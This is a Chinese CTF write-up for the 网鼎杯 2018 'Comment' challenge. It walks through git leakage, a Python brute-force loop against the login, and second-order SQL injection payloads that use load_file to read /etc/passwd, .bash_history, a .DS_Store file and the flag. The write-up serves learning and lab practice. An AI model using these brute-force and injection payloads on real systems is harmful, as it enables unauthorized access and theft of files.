# [网鼎杯 2018] Comment
### 知识点
- git 泄露
 - SQL 二次注入
 - SQL 文件读取
 - 特殊文件识别和利用
 
用 githack 将文件下载下来:

<?php | |
include "mysql.php";  | |
session_start();  | |
if($_SESSION['login'] != 'yes'){  | |
header("Location: ./login.php");  | |
die();  | |
} | |
if(isset($_GET['do'])){  | |
switch ($_GET['do'])  | |
{ | |
case 'write':  | |
$category = addslashes($_POST['category']);  | |
$title = addslashes($_POST['title']);  | |
$content = addslashes($_POST['content']);  | |
$sql = "insert into board  | |
            set category = '$category', | |
                title = '$title', | |
content = '$content'";  | |
$result = mysql_query($sql);  | |
header("Location: ./index.php");  | |
break;  | |
case 'comment':  | |
$bo_id = addslashes($_POST['bo_id']);  | |
$sql = "select category from board where id='$bo_id'";  | |
$result = mysql_query($sql);  | |
$num = mysql_num_rows($result);  | |
if($num>0){  | |
$category = mysql_fetch_array($result)['category'];  | |
$content = addslashes($_POST['content']);  | |
$sql = "insert into comment  | |
            set category = '$category', | |
                content = '$content', | |
bo_id = '$bo_id'";  | |
$result = mysql_query($sql);  | |
    } | |
header("Location: ./comment.php?id=$bo_id");  | |
break;  | |
default:  | |
header("Location: ./index.php");  | |
} | |
} | |
else{  | |
header("Location: ./index.php");  | |
} | |
?> | 
可以存在明显的二次注入,从 wrtie  功能写入,在 comment  功能执行, category  字段可以用来使用 payload,可以构造如下格式的 payload。
先访问登录页面 login.php  查看下。

注意到其中账户密码的默认填充字符,需要注意此处就是出题人给出的提示,账户为 zhangwei  密码为 zhangwei*** ,其中的 ***  为三位的未知字符串需要我们爆破。
这里先 ***  测试为纯数字的情况。
import requests as res
import time
url="http://2b661b6a-7be0-408c-84e4-0aa48b856bee.node4.buuoj.cn:81/login.php"
def change(num):
        return ('0'*(3-len(str(num))))+str(num)
for num in range(648,1000):
        resp=res.post(url=url,data={"username":"zhangwei","password":"zhangwei{}".format(change(num))})
        print(change(num)+'=>'+str(len(resp.text)))
        time.sleep(0.3)

可以看到 ***  的实际值为 666 ,用得到的账户和密码进行登录,接下来就可以进行二次登录了。
先写入在写入功能写入 payload,如下 body 部分中参数 category  中 content=database()  部分的 database()  可以替换为其他 SQL 查询语句或者函数,payload 其余部分则可视为固定。

接着在评论功能触发二次注入,同样在此的 payload 也视为固定(注意项目的 SQL 语句为多行,所以需要 # 和 /**/  配合使用)。

然后就能在对应的详情页面的留言部分查看到注入后的结果。

按照惯例去依次查找下库、表、字段。
title=test&category=test',content=(select(group_concat(schema_name))from(information_schema.schemata)),/*&content=test  | 

title=test&category=test',content=(select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),/*&content=test  | 

但查到字段时就发现,无论在那个表都找不到 flag 相关的字段,这里尝试读取下文件是否可行。
title=test&category=test',content=((select(load_file("/etc/passwd")))),/*&content=test  | 

成功了,并且可以发现 WEB 系统用户 home 目录竟然在 /home  下,尝试去读取下其操作记录。
title=test&category=test',content=((select(load_file("/home/www/.bash_history")))),/*&content=test  | 

可以看到当前项由 html.zip  在原本 /tmp  目录下解压再复制到 /var/www ,并且记录了关于项目 html  文件结构的 .DS_Store  在 /tmp  目录中仍存在一份,去读取这个文件了解下项目结构。
title=test&category=test',content=((select(load_file("/tmp/html/.DS_Store")))),/*&content=test  | 

可能由于乱码问题所以无法完全读取,这里采用对其转成 16 进制。
title=test&category=test',content=((select(hex(load_file("/tmp/html/.DS_Store"))))),/*&content=test  | 

可以将得到的 16 进制写入文件再用相关的.DS_Store 文件解析器去解析,但是此处都没显示完全(可以看到 16 进制末尾是一串...),所以直接转换成 ASCII 字符来查看也是可行的。

可以识别出上图红框中文件与 flag 相关,去去读下,为了保险起见先尝试 hex 处理后的内容。
title=test&category=test',content=((select(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php")))),/*&content=test  | 


找到 flag。